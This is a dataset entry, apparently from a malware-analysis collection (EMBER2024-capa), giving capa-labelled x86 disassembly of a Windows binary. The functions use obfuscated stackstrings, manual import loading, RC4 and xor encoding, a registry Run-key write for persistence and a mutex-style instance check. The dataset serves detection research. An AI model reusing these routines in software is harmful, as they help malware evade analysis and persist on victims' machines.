joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401520
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
mov ecx, dword [0x406ed0]
push ebx
mov al, 0x64
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov byte [esp + 0x24], al
mov byte [esp + 0x28], al
push edi
mov edi, dword [esp + 0x38]
lea eax, [esp + 0x24]
mov byte [esp + 0x24], 0x49
mov ebx, dword [edi + 4]
push eax
push ecx
mov byte [esp + 0x2d], 0x73
mov byte [esp + 0x2e], 0x42
mov byte [esp + 0x2f], 0x61
mov byte [esp + 0x31], 0x52
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x35], 0x50
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x72
mov byte [esp + 0x38], 0
call esi
mov ebp, eax
mov al, 0x6c
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], al
mov eax, dword [0x406ecc]
lea edx, [esp + 0x1c]
push edx
push eax
mov dword [esp + 0x20], ebp
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x25], 0x65
mov byte [esp + 0x26], 0x61
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2b], 0
call esi
mov dword [esp + 0x14], eax
mov eax, dword [edi]
add eax, 0x80
mov ecx, dword [eax + 4]
test ecx, ecx
jbe 0x4016a9
mov esi, dword [eax]
push 0x14
add esi, ebx
push esi
mov dword [esp + 0x18], esi
call ebp
test eax, eax
jne 0x4016a9
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4016a9
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebp, eax
test ebp, ebp
je 0x40169f
mov ecx, dword [edi + 0xc]
mov eax, dword [edi + 8]
lea edx, [ecx*4 + 4]
push edx
push eax
call dword [esp + 0x1c]
add esp, 8
mov dword [edi + 8], eax
test eax, eax
je 0x40169f
mov ecx, dword [edi + 0xc]
mov dword [eax + ecx*4], ebp
mov edx, dword [edi + 0xc]
inc edx
mov dword [edi + 0xc], edx
mov eax, dword [esi]
test eax, eax
je 0x401641
mov esi, dword [esi + 0x10]
lea edi, [eax + ebx]
add esi, ebx
jmp 0x401649
mov edx, dword [esi + 0x10]
lea edi, [edx + ebx]
mov esi, edi
mov eax, dword [edi]
test eax, eax
je 0x40167c
test eax, 0x80000000
je 0x40165d
and eax, 0xffff
jmp 0x401661
lea eax, [eax + ebx + 2]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
mov dword [esi], eax
je 0x40169f
mov eax, dword [edi + 4]
add edi, 4
add esi, 4
test eax, eax
jne 0x40164f
mov eax, dword [esp + 0x10]
push 0x14
add eax, 0x14
push eax
mov dword [esp + 0x18], eax
call dword [esp + 0x20]
test eax, eax
jne 0x4016a9
mov edi, dword [esp + 0x38]
mov esi, dword [esp + 0x10]
jmp 0x4015e9
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x24
ret
Function at 0x401780
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [esp + 0x24]
test esi, esi
je 0x4018a3
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4017af
mov ecx, dword [esi]
mov eax, dword [esi + 4]
push 0
push 0
mov edx, dword [ecx + 0x28]
push eax
add edx, eax
call edx
mov dword [esi + 0x10], 0
mov eax, dword [esi + 8]
push ebx
push ebp
push edi
test eax, eax
je 0x4017ea
mov eax, dword [esi + 0xc]
xor edi, edi
test eax, eax
jle 0x4017de
mov ebx, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [esi + 8]
mov eax, dword [eax + edi*4]
cmp eax, 0xffffffff
je 0x4017d6
push eax
call ebx
mov eax, dword [esi + 0xc]
inc edi
cmp edi, eax
jl 0x4017c8
mov ecx, dword [esi + 8]
push ecx
call sub.MSVCRT.dll_free
add esp, 4
mov eax, dword [esi + 4]
test eax, eax
je 0x4017ff
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov al, 0x73
mov byte [esp + 0x24], al
mov byte [esp + 0x25], al
mov eax, dword [0x406ed0]
lea edx, [esp + 0x1c]
mov bl, 0x65
push edx
push eax
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x50
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2e], 0x48
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 0x61
mov byte [esp + 0x31], 0x70
mov byte [esp + 0x32], 0
call edi
mov edx, dword [0x406ed0]
lea ecx, [esp + 0x10]
push ecx
push edx
mov ebp, eax
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x70
mov byte [esp + 0x1c], 0x46
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0
call edi
push esi
push 0
mov edi, eax
call ebp
push eax
call edi
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x1c
ret

Function at 0x401af0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x401b1a
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x401b6a
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x401b49
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret 0xc
Function at 0x401b90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x401c1c
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x401bbb
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x401bd8
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x401c06
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x401baa
pop ebp
pop ebx
pop edi
pop esi
ret 0xc
Function at 0x401c30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x54
push ebx
lea eax, [esp + 0x28]
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov bl, 0x6c
push eax
mov byte [esp + 0x30], 0x4b
mov byte [esp + 0x31], 0x45
mov byte [esp + 0x32], 0x52
mov byte [esp + 0x33], 0x4e
mov byte [esp + 0x34], 0x45
mov byte [esp + 0x35], 0x4c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0
call esi
lea ecx, [esp + 0x14]
mov dword [0x406ed0], eax
push ecx
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1a], 0x45
mov byte [esp + 0x1b], 0x4c
mov byte [esp + 0x1c], 0x4c
mov byte [esp + 0x1d], 0x33
mov byte [esp + 0x1e], 0x32
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call esi
lea edx, [esp + 8]
mov dword [0x406edc], eax
push edx
mov byte [esp + 0xc], 0x4d
mov byte [esp + 0xd], 0x53
mov byte [esp + 0xe], 0x56
mov byte [esp + 0xf], 0x43
mov byte [esp + 0x10], 0x52
mov byte [esp + 0x11], 0x54
mov byte [esp + 0x12], 0x2e
mov byte [esp + 0x13], 0x64
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0
call esi
mov dword [0x406ecc], eax
mov al, 0x41
mov byte [esp + 0x3c], al
mov byte [esp + 0x3f], al
lea eax, [esp + 0x3c]
mov byte [esp + 0x3d], 0x44
push eax
mov byte [esp + 0x42], 0x56
mov byte [esp + 0x44], 0x50
mov byte [esp + 0x45], 0x49
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4c], 0
call esi
mov dword [0x406ed8], eax
mov byte [esp + 0x20], 0x57
mov byte [esp + 0x21], 0x49
mov byte [esp + 0x22], 0x4e
mov byte [esp + 0x23], 0x49
mov byte [esp + 0x24], 0x4e
mov byte [esp + 0x25], 0x45
mov byte [esp + 0x26], 0x54
mov byte [esp + 0x27], 0x2e
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], bl
lea ecx, [esp + 0x20]
mov byte [esp + 0x2b], 0
push ecx
call esi
lea edx, [esp + 0x4c]
mov dword [0x406ed4], eax
push edx
mov byte [esp + 0x50], 0x69
mov byte [esp + 0x51], 0x6d
mov byte [esp + 0x52], 0x61
mov byte [esp + 0x53], 0x67
mov byte [esp + 0x54], 0x65
mov byte [esp + 0x55], 0x68
mov byte [esp + 0x56], bl
mov byte [esp + 0x57], 0x70
mov byte [esp + 0x58], 0x2e
mov byte [esp + 0x59], 0x64
mov byte [esp + 0x5a], bl
mov byte [esp + 0x5b], bl
mov byte [esp + 0x5c], 0
call esi
pop esi
mov dword [0x406ec8], eax
pop ebx
add esp, 0x54
ret
Function at 0x401e10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x130
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x3d]
mov byte [esp + 0x3c], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x406ed8]
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x18], 0x52
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x67
mov byte [esp + 0x1b], 0x4f
mov byte [esp + 0x1c], 0x70
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x6e
mov byte [esp + 0x1f], 0x4b
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x79
mov byte [esp + 0x22], 0x45
mov byte [esp + 0x23], 0x78
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x25], 0
call esi
mov ecx, dword [esp + 0x148]
mov ebp, dword [esp + 0x144]
lea edx, [esp + 0x34]
push edx
push 0x20019
push 0
push ecx
push ebp
call eax
test eax, eax
jne 0x401f6d
mov al, 0x75
lea edx, [esp + 0x20]
mov byte [esp + 0x24], al
mov byte [esp + 0x2b], al
mov eax, dword [0x406ed8]
push edx
push eax
mov dword [esp + 0x40], 0x104
mov byte [esp + 0x28], 0x52
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x67
mov byte [esp + 0x2b], 0x51
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0x79
mov byte [esp + 0x30], 0x56
mov byte [esp + 0x31], 0x61
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x45
mov byte [esp + 0x36], 0x78
mov byte [esp + 0x37], 0x41
mov byte [esp + 0x38], 0
call esi
lea ecx, [esp + 0x38]
lea edx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x154]
push edx
mov edx, dword [esp + 0x154]
push ecx
mov ecx, dword [esp + 0x40]
push 0
push edx
push ecx
call eax
test eax, eax
jne 0x401f6d
lea edx, [esp + 0x3c]
push edx
call fcn.00401df0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x154]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebp, ebp
je 0x401f7a
push ebp
call esi
mov eax, dword [esp + 0x34]
test eax, eax
je 0x401f85
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x130
ret
Function at 0x401f90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
mov ecx, dword [0x406ed8]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea eax, [esp + 0x34]
push edi
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x40], 0x52
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x67
mov byte [esp + 0x43], 0x43
mov byte [esp + 0x44], 0x72
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x61
mov byte [esp + 0x47], 0x74
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x4b
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4b], 0x79
mov byte [esp + 0x4c], 0x45
mov byte [esp + 0x4d], 0x78
mov byte [esp + 0x4e], 0x41
mov byte [esp + 0x4f], 0
call esi
mov edi, dword [esp + 0x50]
lea edx, [esp + 0x14]
mov ebp, dword [esp + 0x4c]
lea ecx, [esp + 0x10]
push edx
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edi
push ebp
call eax
test eax, eax
jne 0x402100
mov byte [esp + 0x25], al
mov eax, dword [0x406ed8]
lea edx, [esp + 0x18]
mov byte [esp + 0x18], 0x52
push edx
push eax
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x67
mov byte [esp + 0x23], 0x4f
mov byte [esp + 0x24], 0x70
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x6e
mov byte [esp + 0x27], 0x4b
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x45
mov byte [esp + 0x2b], 0x78
mov byte [esp + 0x2c], 0x41
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x2001f
push 0
push edi
push ebp
call eax
test eax, eax
jne 0x402100
mov byte [esp + 0x36], al
mov eax, dword [0x406ed8]
lea edx, [esp + 0x28]
mov byte [esp + 0x28], 0x52
push edx
push eax
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x67
mov byte [esp + 0x33], 0x53
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x74
mov byte [esp + 0x36], 0x56
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x39], 0x75
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x45
mov byte [esp + 0x3c], 0x78
mov byte [esp + 0x3d], 0x41
call esi
mov esi, dword [esp + 0x5c]
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 0x5c]
push esi
push ecx
mov ecx, dword [esp + 0x1c]
push eax
mov eax, dword [esp + 0x64]
push eax
push ecx
call edx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebp, ebp
je 0x40210d
push ebp
call esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x402118
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
Function at 0x402290
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
sub esp, 0x48
push esi
push edi
mov byte [esp + 8], 0x41
mov byte [esp + 9], 0x42
mov byte [esp + 0xa], 0x43
mov byte [esp + 0xb], 0x44
mov byte [esp + 0xc], 0x45
mov byte [esp + 0xd], 0x46
mov byte [esp + 0xe], 0x47
mov byte [esp + 0xf], 0x48
mov byte [esp + 0x10], 0x49
mov byte [esp + 0x11], 0x4a
mov byte [esp + 0x12], 0x4b
mov byte [esp + 0x13], 0x4c
mov byte [esp + 0x14], 0x4d
mov byte [esp + 0x15], 0x4e
mov byte [esp + 0x16], 0x4f
mov byte [esp + 0x17], 0x50
mov byte [esp + 0x18], 0x51
mov byte [esp + 0x19], 0x52
mov byte [esp + 0x1a], 0x53
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x55
mov byte [esp + 0x1d], 0x56
mov byte [esp + 0x1e], 0x57
mov byte [esp + 0x1f], 0x58
mov byte [esp + 0x20], 0x59
mov byte [esp + 0x21], 0x5a
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x62
mov byte [esp + 0x24], 0x63
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x26], 0x65
mov byte [esp + 0x27], 0x66
mov byte [esp + 0x28], 0
call fcn.00404ab0
mov ecx, dword [0x406c4c]
lea eax, [esp + 8]
push eax
call fcn.004019a0
mov esi, eax
mov byte [esp + 0x2c], 0x67
mov byte [esp + 0x2d], 0x68
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], 0x6a
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], 0x6f
mov byte [esp + 0x35], 0x70
mov byte [esp + 0x36], 0x71
mov byte [esp + 0x37], 0x72
mov byte [esp + 0x38], 0x73
mov byte [esp + 0x39], 0x74
mov byte [esp + 0x3a], 0x75
mov byte [esp + 0x3b], 0x76
mov byte [esp + 0x3c], 0x77
mov byte [esp + 0x3d], 0x78
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x3f], 0x7a
mov byte [esp + 0x40], 0x30
mov byte [esp + 0x41], 0x31
mov byte [esp + 0x42], 0x32
mov byte [esp + 0x43], 0x33
mov byte [esp + 0x44], 0x34
mov byte [esp + 0x45], 0x35
mov byte [esp + 0x46], 0x36
mov byte [esp + 0x47], 0x37
mov byte [esp + 0x48], 0x38
mov byte [esp + 0x49], 0x39
mov byte [esp + 0x4a], 0x2b
mov byte [esp + 0x4b], 0x2f
mov byte [esp + 0x4c], 0
call fcn.00404ab0
lea ecx, [esp + 0x2c]
push ecx
mov ecx, dword [0x406c4c]
call fcn.004019a0
mov edi, eax
call fcn.00404ab0
lea edx, [edi + esi + 1]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
call fcn.00404ab0
call fcn.00404ab0
mov ecx, dword [0x406c4c]
lea eax, [esp + 8]
push eax
push esi
call fcn.004019d0
call fcn.00404ab0
call fcn.00404ab0
call fcn.00404ab0
call fcn.00404ab0
lea ecx, [esp + 0x2c]
push ecx
mov ecx, dword [0x406c4c]
push esi
call fcn.00401960
mov cl, byte [esi]
mov eax, esi
test cl, cl
je 0x402479
mov dl, byte [esp + 0x54]
cmp cl, dl
je 0x402482
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x40246d
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x48
ret
sub eax, esi
pop edi
pop esi
add esp, 0x48
ret
Function at 0x402490
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push esi
push eax
push ecx
mov dword [esp + 0xc], 0
call fcn.00402120
add esp, 8
mov esi, eax
call fcn.00404ab0
call fcn.00404ab0
xor eax, eax
test esi, esi
jle 0x4024dd
mov ecx, dword [esp + 4]
mov dl, byte [eax + ecx]
add dl, 0x7a
mov byte [eax + ecx], dl
mov ecx, dword [esp + 4]
mov dl, byte [eax + ecx]
xor dl, 0x59
mov byte [eax + ecx], dl
inc eax
cmp eax, esi
jl 0x4024be
mov eax, dword [esp + 4]
pop esi
pop ecx
ret
Function at 0x4028b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0xb], al
mov byte [esp + 0x16], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1f], al
lea eax, [esp]
mov dl, 0x53
mov byte [esp + 9], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0x1b], cl
mov ecx, dword [0x406c4c]
push eax
push 0x406e58
mov byte [esp + 8], dl
mov byte [esp + 9], 0x59
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x54
mov byte [esp + 0xc], 0x45
mov byte [esp + 0xd], 0x4d
mov byte [esp + 0xe], 0x5c
mov byte [esp + 0xf], 0x43
mov byte [esp + 0x10], 0x75
mov byte [esp + 0x14], 0x6e
mov byte [esp + 0x15], 0x74
mov byte [esp + 0x16], 0x43
mov byte [esp + 0x17], 0x6f
mov byte [esp + 0x18], 0x6e
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x5c
mov byte [esp + 0x21], dl
mov byte [esp + 0x24], 0x76
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x63
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0x5c
mov byte [esp + 0x2a], 0
call fcn.004019d0
add esp, 0x24
ret

Function at 0x402a80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x30
push ebx
mov al, 0x57
push esi
mov esi, dword [esp + 0x40]
mov cl, 0x6f
mov byte [esp + 0xc], al
mov byte [esp + 0x1b], al
mov bl, 0x5c
mov dl, 0x72
mov byte [esp + 0x15], cl
mov byte [esp + 0x17], cl
mov al, 0x6e
mov byte [esp + 0x1f], cl
mov byte [esp + 0x2f], cl
mov ecx, dword [0x406c4c]
push esi
mov byte [esp + 0xc], 0x53
mov byte [esp + 0xd], 0x4f
mov byte [esp + 0xe], 0x46
mov byte [esp + 0xf], 0x54
mov byte [esp + 0x11], 0x41
mov byte [esp + 0x12], 0x52
mov byte [esp + 0x13], 0x45
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], 0x4d
mov byte [esp + 0x16], 0x69
mov byte [esp + 0x17], 0x63
mov byte [esp + 0x18], dl
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1c], 0x66
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], bl
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], al
mov byte [esp + 0x22], 0x64
mov byte [esp + 0x24], 0x77
mov byte [esp + 0x25], 0x73
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x43
mov byte [esp + 0x28], 0x75
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2b], 0x65
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2e], 0x56
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], dl
mov byte [esp + 0x31], 0x73
mov byte [esp + 0x32], 0x69
mov byte [esp + 0x34], al
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x52
mov byte [esp + 0x37], 0x75
mov byte [esp + 0x38], al
mov byte [esp + 0x39], 0
call fcn.004019a0
push eax
mov eax, dword [esp + 0x40]
push esi
push 1
lea ecx, [esp + 0x14]
push eax
push ecx
push 0x80000002
call fcn.00401f90
add esp, 0x18
xor eax, eax
pop esi
pop ebx
add esp, 0x30
ret
Function at 0x402ba0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov ecx, dword [0x406ed0]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea eax, [esp + 0x18]
push edi
mov bl, 0x65
push eax
push ecx
xor ebp, ebp
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x45
mov byte [esp + 0x2b], 0x76
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x2f], 0x41
mov byte [esp + 0x30], 0
call esi
mov edi, eax
mov al, 0x6c
mov byte [esp + 0x11], al
mov byte [esp + 0x19], al
mov eax, dword [0x406ed0]
lea edx, [esp + 0x10]
push edx
push eax
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x48
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call esi
push 0x406668
push ebp
push ebp
push ebp
mov dword [0x406ec4], eax
call edi
mov edi, eax
test edi, edi
je 0x402ce8
mov edx, dword [0x406ed0]
lea ecx, [esp + 0x2c]
push ecx
push edx
mov byte [esp + 0x34], 0x47
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x4c
mov byte [esp + 0x38], 0x61
mov byte [esp + 0x39], 0x73
mov byte [esp + 0x3a], 0x74
mov byte [esp + 0x3b], 0x45
mov byte [esp + 0x3c], 0x72
mov byte [esp + 0x3d], 0x72
mov byte [esp + 0x3e], 0x6f
mov byte [esp + 0x3f], 0x72
mov byte [esp + 0x40], 0
call esi
call eax
cmp eax, 0xb7
jne 0x402ccf
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x1f4
call esi
push 0x1f4
call esi
mov ebp, 1
mov eax, dword [esp + 0x40]
test eax, eax
je 0x402cde
push edi
call dword [0x406ec4]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x402d00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov ecx, dword [0x406ed0]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push esi
lea eax, [esp + 0x28]
push edi
mov bl, 0x65
push eax
push ecx
mov dword [esp + 0x18], 0
mov byte [esp + 0x34], 0x53
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x46
mov byte [esp + 0x38], 0x69
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3c], 0x6f
mov byte [esp + 0x3d], 0x69
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x3f], 0x74
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0x72
mov byte [esp + 0x42], 0
call ebp
mov esi, dword [esp + 0x40]
push 2
push 0
push 0xfffffc00
push esi
call eax
mov eax, dword [0x406ed0]
lea edx, [esp + 0x20]
push edx
push eax
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x46
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x6c
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], 0x53
mov byte [esp + 0x30], 0x69
mov byte [esp + 0x31], 0x7a
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0
call ebp
push 0
push esi
call eax
mov esi, eax
lea ecx, [esi + 1]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
mov eax, dword [0x406ed0]
lea edx, [esp + 0x14]
push edx
push eax
mov byte [esp + 0x1c], 0x52
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], 0x46
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0
call ebp
mov edx, dword [esp + 0x40]
lea ecx, [esp + 0x10]
push 0
push ecx
push esi
push edi
push edx
call eax
mov eax, dword [esp + 0x44]
mov ecx, dword [0x406c4c]
push 0
push esi
push eax
push edi
call fcn.00401a00
cmp eax, 0xffffffff
je 0x402e43
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
